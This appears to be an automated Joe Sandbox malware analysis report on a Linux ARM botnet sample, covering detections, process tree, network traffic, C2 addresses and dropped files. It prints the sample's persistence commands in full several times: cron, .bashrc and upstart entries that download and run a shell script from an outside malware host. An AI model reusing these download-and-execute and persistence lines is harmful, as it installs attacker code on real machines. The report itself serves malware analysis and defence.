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Linux Analysis Report
nsharm7.elf

Overview

General Information

Sample name:	nsharm7.elf
Analysis ID:	1542859
MD5:	ca210ee9b185a078d977e3f9f421e2da
SHA1:	99a8fdf8489095caf3ba316f5f75561400bb64d5
SHA256:	d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Executes the "crontab" command typically for achieving persistence

Modifies the '.bashrc' or '.bash_profile' file typically for persisting actions

Sample tries to persist itself using cron

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Executes commands using a shell command-line interpreter

Found strings indicative of a multi-platform dropper

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542859
Start date and time:	2024-10-26 19:16:56 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nsharm7.elf
Detection:	MAL
Classification:	mal60.troj.linELF@0/3@8/0

Warnings

VT rate limit hit for: nsharm7.elf

Runtime Messages

Command:	/tmp/nsharm7.elf
PID:	5549
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	you are now apart of hail cock botnet
Standard Error:	no crontab for root /bin/sh: 1: /sbin/initctl: not found

Process Tree

system is lnxubuntu20

nsharm7.elf (PID: 5549, Parent: 5469, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nsharm7.elf

nsharm7.elf New Fork (PID: 5551, Parent: 5549)

sh (PID: 5551, Parent: 5549, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"

sh New Fork (PID: 5553, Parent: 5551)

sh New Fork (PID: 5555, Parent: 5553)

crontab (PID: 5555, Parent: 5553, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l

sh New Fork (PID: 5554, Parent: 5551)

crontab (PID: 5554, Parent: 5551, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -

nsharm7.elf New Fork (PID: 5556, Parent: 5549)

sh (PID: 5556, Parent: 5549, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/sbin/initctl start bot"

sh New Fork (PID: 5558, Parent: 5556)

nsharm7.elf New Fork (PID: 5559, Parent: 5549)

nsharm7.elf New Fork (PID: 5601, Parent: 5559)

nsharm7.elf New Fork (PID: 5561, Parent: 5549)

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nsharm7.elf

ReversingLabs: Detection: 23%

Source: .bashrc.12.dr	String: cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh
Source: bot.conf.12.dr	String: exec cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh
Source: tmp.QYPaEb.18.dr	String: @reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh

Source: global traffic	TCP traffic: 192.168.2.15:46308 -> 88.151.195.22:8623
Source: global traffic	TCP traffic: 192.168.2.15:51746 -> 81.29.149.178:19313
Source: global traffic	TCP traffic: 192.168.2.15:44828 -> 193.233.193.45:20610
Source: global traffic	TCP traffic: 192.168.2.15:45492 -> 91.149.218.232:11299

Source: /tmp/nsharm7.elf (PID: 5549)

Socket: 127.0.0.1:1172

Jump to behavior

Source: unknown	UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown	UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown	UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown	UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown	UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown	UDP traffic detected without corresponding DNS query: 64.176.6.48
Source: unknown	UDP traffic detected without corresponding DNS query: 65.21.1.106

Source: global traffic	DNS traffic detected: DNS query: kingstonwikkerink.dyn
Source: global traffic	DNS traffic detected: DNS query: daisy.ubuntu.com

Source: tmp.QYPaEb.18.dr

String found in binary or memory: http://hailcocks.ru/wget.sh;

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal60.troj.linELF@0/3@8/0

Persistence and Installation Behavior

Executes the "crontab" command typically for achieving persistence

Source: /bin/sh (PID: 5555)	Crontab executable: /usr/bin/crontab -> crontab -l			Jump to behavior
Source: /bin/sh (PID: 5554)	Crontab executable: /usr/bin/crontab -> crontab -			Jump to behavior

Modifies the '.bashrc' or '.bash_profile' file typically for persisting actions

Source: /tmp/nsharm7.elf (PID: 5549)

File written: /root/.bashrc

Jump to behavior

Sample tries to persist itself using cron

Source: /usr/bin/crontab (PID: 5554)	File: /var/spool/cron/crontabs/tmp.QYPaEb			Jump to behavior
Source: /usr/bin/crontab (PID: 5554)	File: /var/spool/cron/crontabs/root			Jump to behavior

Source: /tmp/nsharm7.elf (PID: 5549)

File: /root/.bashrc

Jump to behavior

Source: /tmp/nsharm7.elf (PID: 5551)	Shell command executed: /bin/sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") \| crontab -"			Jump to behavior
Source: /tmp/nsharm7.elf (PID: 5556)	Shell command executed: /bin/sh -c "/sbin/initctl start bot"			Jump to behavior

Source: submitted sample

Stderr: no crontab for root/bin/sh: 1: /sbin/initctl: not found: exit code = 0

Source: /tmp/nsharm7.elf (PID: 5549)

Queries kernel information via 'uname':

Jump to behavior

Source: nsharm7.elf, 5549.1.000055d0e39c3000.000055d0e3b3a000.rw-.sdmp, nsharm7.elf, 5559.1.000055d0e39c3000.000055d0e3b3a000.rw-.sdmp, nsharm7.elf, 5601.1.000055d0e39c3000.000055d0e3b3a000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: nsharm7.elf, 5549.1.00007ffd4acc1000.00007ffd4ace2000.rw-.sdmp, nsharm7.elf, 5559.1.00007ffd4acc1000.00007ffd4ace2000.rw-.sdmp, nsharm7.elf, 5601.1.00007ffd4acc1000.00007ffd4ace2000.rw-.sdmp	Binary or memory string: Rx86_64/usr/bin/qemu-arm/tmp/nsharm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nsharm7.elf
Source: nsharm7.elf, 5549.1.000055d0e39c3000.000055d0e3b3a000.rw-.sdmp, nsharm7.elf, 5559.1.000055d0e39c3000.000055d0e3b3a000.rw-.sdmp, nsharm7.elf, 5601.1.000055d0e39c3000.000055d0e3b3a000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: nsharm7.elf, 5549.1.00007ffd4acc1000.00007ffd4ace2000.rw-.sdmp, nsharm7.elf, 5559.1.00007ffd4acc1000.00007ffd4ace2000.rw-.sdmp, nsharm7.elf, 5601.1.00007ffd4acc1000.00007ffd4ace2000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: nsharm7.elf, 5601.1.00007ffd4acc1000.00007ffd4ace2000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Unix Shell Configuration Modification	1 Unix Shell Configuration Modification	1 Hidden Files and Directories	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Scripting	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
nsharm7.elf	24%	ReversingLabs	Linux.Backdoor.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		unknown
kingstonwikkerink.dyn	81.29.149.178	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://hailcocks.ru/wget.sh;	tmp.QYPaEb.18.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
88.151.195.22	unknown	Azerbaijan	15723	AZERONLINEAZ	false
193.233.193.45	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
81.29.149.178	kingstonwikkerink.dyn	Switzerland	39616	COMUNICA_IT_SERVICESCH	false
91.149.218.232	unknown	Poland	198401	GECKONET-ASPL	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
88.151.195.22	nshmpsl.elf	Get hash	malicious	Unknown	Browse
	nshmips.elf	Get hash	malicious	Unknown	Browse
	gmpsl.elf	Get hash	malicious	Unknown	Browse
	nshsh4.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	hmips.elf	Get hash	malicious	Unknown	Browse
	arm7.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
193.233.193.45	nshmpsl.elf	Get hash	malicious	Unknown	Browse
	nsharm.elf	Get hash	malicious	Unknown	Browse
	harm5.elf	Get hash	malicious	Unknown	Browse
	nshsh4.elf	Get hash	malicious	Unknown	Browse
	harm4.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	hmips.elf	Get hash	malicious	Unknown	Browse
81.29.149.178	nshmpsl.elf	Get hash	malicious	Unknown	Browse
	nsharm.elf	Get hash	malicious	Unknown	Browse
	nshsh4.elf	Get hash	malicious	Unknown	Browse
	harm4.elf	Get hash	malicious	Unknown	Browse
	hmips.elf	Get hash	malicious	Unknown	Browse
	ppc.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
91.149.218.232	nshmpsl.elf	Get hash	malicious	Unknown	Browse
	nsharm.elf	Get hash	malicious	Unknown	Browse
	nshmips.elf	Get hash	malicious	Unknown	Browse
	nsharm5.elf	Get hash	malicious	Unknown	Browse
	nshsh4.elf	Get hash	malicious	Unknown	Browse
	harm4.elf	Get hash	malicious	Unknown	Browse
	ppc.elf	Get hash	malicious	Unknown	Browse
	x86.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
kingstonwikkerink.dyn	nshmpsl.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	nsharm.elf	Get hash	malicious	Unknown	Browse	195.133.92.51
	nshmips.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	gmpsl.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	nsharm5.elf	Get hash	malicious	Unknown	Browse	185.82.200.181
	harm5.elf	Get hash	malicious	Unknown	Browse	213.182.204.57
	nshsh4.elf	Get hash	malicious	Unknown	Browse	194.87.198.29
	harm4.elf	Get hash	malicious	Unknown	Browse	31.13.248.89
	mips.elf	Get hash	malicious	Unknown	Browse	81.29.149.178
daisy.ubuntu.com	nsharm.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	gmpsl.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	nsharm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	harm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	sshd.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	nsharm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	harm4.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	.i.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	arm.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	c0r0n4x.arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COMUNICA_IT_SERVICESCH	nshmpsl.elf	Get hash	malicious	Unknown	Browse	81.29.149.178
	nsharm.elf	Get hash	malicious	Unknown	Browse	81.29.149.178
	nshsh4.elf	Get hash	malicious	Unknown	Browse	81.29.149.178
	harm4.elf	Get hash	malicious	Unknown	Browse	81.29.149.178
	hmips.elf	Get hash	malicious	Unknown	Browse	81.29.149.178
	ppc.elf	Get hash	malicious	Unknown	Browse	81.29.149.178
	Circular_no_088_Annexure_pdf.html	Get hash	malicious	HTMLPhisher	Browse	81.29.149.252
	Monetary_002993034958293.js	Get hash	malicious	Unknown	Browse	81.29.149.252
	RTGS_UCB_DCCB_docx.html	Get hash	malicious	HTMLPhisher	Browse	81.29.149.252
	mips.elf	Get hash	malicious	Unknown	Browse	81.29.149.178
GECKONET-ASPL	nshmpsl.elf	Get hash	malicious	Unknown	Browse	91.149.218.232
	nsharm.elf	Get hash	malicious	Unknown	Browse	91.149.218.232
	nshmips.elf	Get hash	malicious	Unknown	Browse	91.149.218.232
	nsharm5.elf	Get hash	malicious	Unknown	Browse	91.149.218.232
	nshsh4.elf	Get hash	malicious	Unknown	Browse	91.149.218.232
	harm4.elf	Get hash	malicious	Unknown	Browse	91.149.218.232
	botnet.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	91.234.13.57
	ppc.elf	Get hash	malicious	Unknown	Browse	91.149.218.232
	x86.elf	Get hash	malicious	Unknown	Browse	91.149.218.232
	aWoyoSGAsv.elf	Get hash	malicious	Mirai	Browse	45.82.146.198
AZERONLINEAZ	nshmpsl.elf	Get hash	malicious	Unknown	Browse	88.151.195.22
	nshmips.elf	Get hash	malicious	Unknown	Browse	88.151.195.22
	gmpsl.elf	Get hash	malicious	Unknown	Browse	88.151.195.22
	nshsh4.elf	Get hash	malicious	Unknown	Browse	88.151.195.22
	mips.elf	Get hash	malicious	Unknown	Browse	88.151.195.22
	hmips.elf	Get hash	malicious	Unknown	Browse	88.151.195.22
	arm7.elf	Get hash	malicious	Unknown	Browse	88.151.195.22
	mpsl.elf	Get hash	malicious	Unknown	Browse	88.151.195.22
	mips.elf	Get hash	malicious	Unknown	Browse	88.151.195.22
	arm5.elf	Get hash	malicious	Unknown	Browse	88.151.195.22
FREE-NET-ASFREEnetEU	nshmpsl.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	nsharm.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	harm5.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	nshsh4.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	harm4.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	mips.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	Rechnung_643839483.pdf.lnk	Get hash	malicious	Unknown	Browse	147.45.44.131
	hmips.elf	Get hash	malicious	Unknown	Browse	193.233.193.45
	5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Get hash	malicious	Stealc, Vidar	Browse	147.45.44.221
	http://heks.egrowbrands.com/yuop/66e9b62daa62d_xin.exe	Get hash	malicious	Unknown	Browse	147.45.44.104

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/etc/init/bot.conf

Download File

Process:	/tmp/nsharm7.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	4.726559471748614
Encrypted:	false
SSDEEP:	6:SqEeZK8z7oXKqWFIw3CaXQw3cjICQDMFDKXsJovYL8jndFKXsJovFkTFdVOYHIaU:GeZfUX9HACcTSICQg+GABjnOGAFkROS2
MD5:	9722585F219A220A4DC2A0C49BD3B019
SHA1:	FFBA476658EA681147C570C6F2B16A79E7D38E19
SHA-256:	BB41836A1F2E11795C52739E7434247D90C0F8D391AFE759598BAA06E3657A8D
SHA-512:	77F16A70995A2650A397661D7B9CE3A83F4A5C01DC6EBC5E02B60A41D425246D37AB49478DC38EE3FC956775D90E9C86F911E0AC5E5DF6E142BCC82F8601D6E4
Malicious:	false
Reputation:	low
Preview:	# bot - My Miscellaneous Service.description "My Miscellaneous Service".start on filesystem or runlevel [2345].stop on runlevel [!2345].script. exec cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh.end script.post-start script. echo "Service Started".end script.

/root/.bashrc

Download File

Process:	/tmp/nsharm7.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	124
Entropy (8bit):	4.380927423351128
Encrypted:	false
SSDEEP:	3:aKVMFDEIGXjQJZWvYKQzQRFxFdljEIGXjQJZWv1SeDkiJCF9:DMFDKXsJovYL8jndFKXsJovFkTF9
MD5:	75D0F0790419BF1E1B797F768A7FD943
SHA1:	CB2B3673D8D5E7E9C6BE90C17EEE99EC7C005CC4
SHA-256:	118CC2B37583BC923A21CB5BEF6EC2E968E10886519A5614664BDE7C74628183
SHA-512:	1824A32B5178161E98599C3BD9186A52D5ED29B4BF727E3385550ABD4343DAEA43BD419DA51A11ADB958FCD0C43627C6070ECCDB480D033529FCB0AFB5A53CF1
Malicious:	true
Reputation:	low
Preview:	.cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh.

/var/spool/cron/crontabs/tmp.QYPaEb

Download File

Process:	/usr/bin/crontab
File Type:	ASCII text
Category:	dropped
Size (bytes):	306
Entropy (8bit):	5.156023571745438
Encrypted:	false
SSDEEP:	6:SUrpqoqQjEOP1KmREJOBFQkqZHGMQ5UYLtCFt3HY5DMFDKXsJovYL8jndFKXsJo0:8QjHig8deHLUHYC+GABjnOGAFkz
MD5:	82486729D8C5E7F3460E556463E6411A
SHA1:	EACCB72BDD251127707630AA17A366A90139F03A
SHA-256:	89E065ED9157836279A379A06D2DA0AE8623E7D8D3294AC0487F16FD0A642BC7
SHA-512:	521739E797659E779A7AB53304588A7E8BFBE55077CB64F73A963DB169C2865F60F4D21AF98579824C0EA4F1555D2F4AAEFC88245671B9F08FBF8EC52358CD61
Malicious:	true
Reputation:	low
Preview:	# DO NOT EDIT THIS FILE - edit the master and reinstall..# (- installed on Sat Oct 26 12:17:46 2024).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh.

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.172622310669632
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nsharm7.elf
File size:	103'696 bytes
MD5:	ca210ee9b185a078d977e3f9f421e2da
SHA1:	99a8fdf8489095caf3ba316f5f75561400bb64d5
SHA256:	d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125
SHA512:	fbbbda938ecfd86d1f0d6f445b32631dff779a29ebc936ca6379230555c1cb3d4a81e7cceaccf382775ce584012c0750e784a9c96de11ec0b16daf6036f9d02c
SSDEEP:	3072:JTnKSqnPWkyyRebaVf4GwBLFCsfIUuFeStQjX:JTnZmWkyDbaVf4GwBRCslusSOjX
TLSH:	36A30946B9819F11D4D621FAFB9E418933136FBCE3FA7101D920AF6423CA9DB0E76512
File Content Preview:	.ELF..............(.........4...@.......4. ...(........p............ ... ................................................................b..........................................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	102976
Section Header Size:	40
Number of Section Headers:	18
Header String Table Index:	17

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	4
.text	PROGBITS	0x80f0	0xf0	0x16774	0x0	0x6	AX	0	16
.fini	PROGBITS	0x1e864	0x16864	0x10	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x1e878	0x16878	0x1734	0x0	0x2	A	0	8
.ARM.extab	PROGBITS	0x1ffac	0x17fac	0x18	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x1ffc4	0x17fc4	0x120	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x280e4	0x180e4	0x4	0x0	0x3	WA	0	4
.tbss	NOBITS	0x280e8	0x180e8	0x8	0x0	0x403	WAT	0	4
.init_array	INIT_ARRAY	0x280e8	0x180e8	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x280ec	0x180ec	0x4	0x0	0x3	WA	0	4
.jcr	PROGBITS	0x280f0	0x180f0	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x280f4	0x180f4	0xac	0x4	0x3	WA	0	4
.data	PROGBITS	0x281a0	0x181a0	0x22c	0x0	0x3	WA	0	4
.bss	NOBITS	0x283cc	0x183cc	0x5f24	0x0	0x3	WA	0	4
.comment	PROGBITS	0x0	0x183cc	0xdcc	0x0	0x0		0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x19198	0x16	0x0	0x0		0	1
.shstrtab	STRTAB	0x0	0x191ae	0x91	0x0	0x0		0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x17fc4	0x1ffc4	0x1ffc4	0x120	0x120	4.4793	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x180e4	0x180e4	6.1403	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x180e4	0x280e4	0x280e4	0x2e8	0x620c	4.0945	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x180e8	0x280e8	0x280e8	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 19:17:47.914865017 CEST	46308	8623	192.168.2.15	88.151.195.22
Oct 26, 2024 19:17:47.920839071 CEST	8623	46308	88.151.195.22	192.168.2.15
Oct 26, 2024 19:17:47.920892954 CEST	46308	8623	192.168.2.15	88.151.195.22
Oct 26, 2024 19:17:47.921093941 CEST	46308	8623	192.168.2.15	88.151.195.22
Oct 26, 2024 19:17:47.926697969 CEST	8623	46308	88.151.195.22	192.168.2.15
Oct 26, 2024 19:17:47.926739931 CEST	46308	8623	192.168.2.15	88.151.195.22
Oct 26, 2024 19:17:47.932497025 CEST	8623	46308	88.151.195.22	192.168.2.15
Oct 26, 2024 19:17:48.920926094 CEST	8623	46308	88.151.195.22	192.168.2.15
Oct 26, 2024 19:17:48.921056986 CEST	46308	8623	192.168.2.15	88.151.195.22
Oct 26, 2024 19:17:48.921171904 CEST	8623	46308	88.151.195.22	192.168.2.15
Oct 26, 2024 19:17:48.921199083 CEST	46308	8623	192.168.2.15	88.151.195.22
Oct 26, 2024 19:17:48.921318054 CEST	46308	8623	192.168.2.15	88.151.195.22
Oct 26, 2024 19:17:53.936404943 CEST	51746	19313	192.168.2.15	81.29.149.178
Oct 26, 2024 19:17:53.941946030 CEST	19313	51746	81.29.149.178	192.168.2.15
Oct 26, 2024 19:17:53.942023993 CEST	51746	19313	192.168.2.15	81.29.149.178
Oct 26, 2024 19:17:53.942023993 CEST	51746	19313	192.168.2.15	81.29.149.178
Oct 26, 2024 19:17:53.947429895 CEST	19313	51746	81.29.149.178	192.168.2.15
Oct 26, 2024 19:17:53.947489977 CEST	51746	19313	192.168.2.15	81.29.149.178
Oct 26, 2024 19:17:53.952785969 CEST	19313	51746	81.29.149.178	192.168.2.15
Oct 26, 2024 19:17:54.822705984 CEST	19313	51746	81.29.149.178	192.168.2.15
Oct 26, 2024 19:17:54.822849989 CEST	51746	19313	192.168.2.15	81.29.149.178
Oct 26, 2024 19:17:54.822963953 CEST	51746	19313	192.168.2.15	81.29.149.178
Oct 26, 2024 19:18:04.863718987 CEST	44828	20610	192.168.2.15	193.233.193.45
Oct 26, 2024 19:18:04.869218111 CEST	20610	44828	193.233.193.45	192.168.2.15
Oct 26, 2024 19:18:04.869369984 CEST	44828	20610	192.168.2.15	193.233.193.45
Oct 26, 2024 19:18:04.869369984 CEST	44828	20610	192.168.2.15	193.233.193.45
Oct 26, 2024 19:18:04.874771118 CEST	20610	44828	193.233.193.45	192.168.2.15
Oct 26, 2024 19:18:04.874826908 CEST	44828	20610	192.168.2.15	193.233.193.45
Oct 26, 2024 19:18:04.880167961 CEST	20610	44828	193.233.193.45	192.168.2.15
Oct 26, 2024 19:18:06.210983038 CEST	20610	44828	193.233.193.45	192.168.2.15
Oct 26, 2024 19:18:06.211236954 CEST	44828	20610	192.168.2.15	193.233.193.45
Oct 26, 2024 19:18:06.211318016 CEST	44828	20610	192.168.2.15	193.233.193.45
Oct 26, 2024 19:18:16.253773928 CEST	45492	11299	192.168.2.15	91.149.218.232
Oct 26, 2024 19:18:16.259500980 CEST	11299	45492	91.149.218.232	192.168.2.15
Oct 26, 2024 19:18:16.259604931 CEST	45492	11299	192.168.2.15	91.149.218.232
Oct 26, 2024 19:18:16.259905100 CEST	45492	11299	192.168.2.15	91.149.218.232
Oct 26, 2024 19:18:16.265319109 CEST	11299	45492	91.149.218.232	192.168.2.15
Oct 26, 2024 19:18:16.265422106 CEST	45492	11299	192.168.2.15	91.149.218.232
Oct 26, 2024 19:18:16.270781994 CEST	11299	45492	91.149.218.232	192.168.2.15
Oct 26, 2024 19:18:26.269819021 CEST	45492	11299	192.168.2.15	91.149.218.232
Oct 26, 2024 19:18:26.275620937 CEST	11299	45492	91.149.218.232	192.168.2.15
Oct 26, 2024 19:18:26.518765926 CEST	11299	45492	91.149.218.232	192.168.2.15
Oct 26, 2024 19:18:26.518960953 CEST	45492	11299	192.168.2.15	91.149.218.232
Oct 26, 2024 19:19:46.598206043 CEST	45492	11299	192.168.2.15	91.149.218.232
Oct 26, 2024 19:19:46.788597107 CEST	11299	45492	91.149.218.232	192.168.2.15
Oct 26, 2024 19:19:47.033083916 CEST	11299	45492	91.149.218.232	192.168.2.15
Oct 26, 2024 19:19:47.033318996 CEST	45492	11299	192.168.2.15	91.149.218.232

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 19:17:47.893155098 CEST	55358	53	192.168.2.15	194.36.144.87
Oct 26, 2024 19:17:47.903624058 CEST	53	55358	194.36.144.87	192.168.2.15
Oct 26, 2024 19:17:48.023139954 CEST	54227	53	192.168.2.15	194.36.144.87
Oct 26, 2024 19:17:48.033736944 CEST	53	54227	194.36.144.87	192.168.2.15
Oct 26, 2024 19:17:49.218113899 CEST	53314	53	192.168.2.15	8.8.8.8
Oct 26, 2024 19:17:49.218113899 CEST	42630	53	192.168.2.15	8.8.8.8
Oct 26, 2024 19:17:49.224890947 CEST	53	42630	8.8.8.8	192.168.2.15
Oct 26, 2024 19:17:49.225999117 CEST	53	53314	8.8.8.8	192.168.2.15
Oct 26, 2024 19:17:53.924577951 CEST	48681	53	192.168.2.15	194.36.144.87
Oct 26, 2024 19:17:53.935691118 CEST	53	48681	194.36.144.87	192.168.2.15
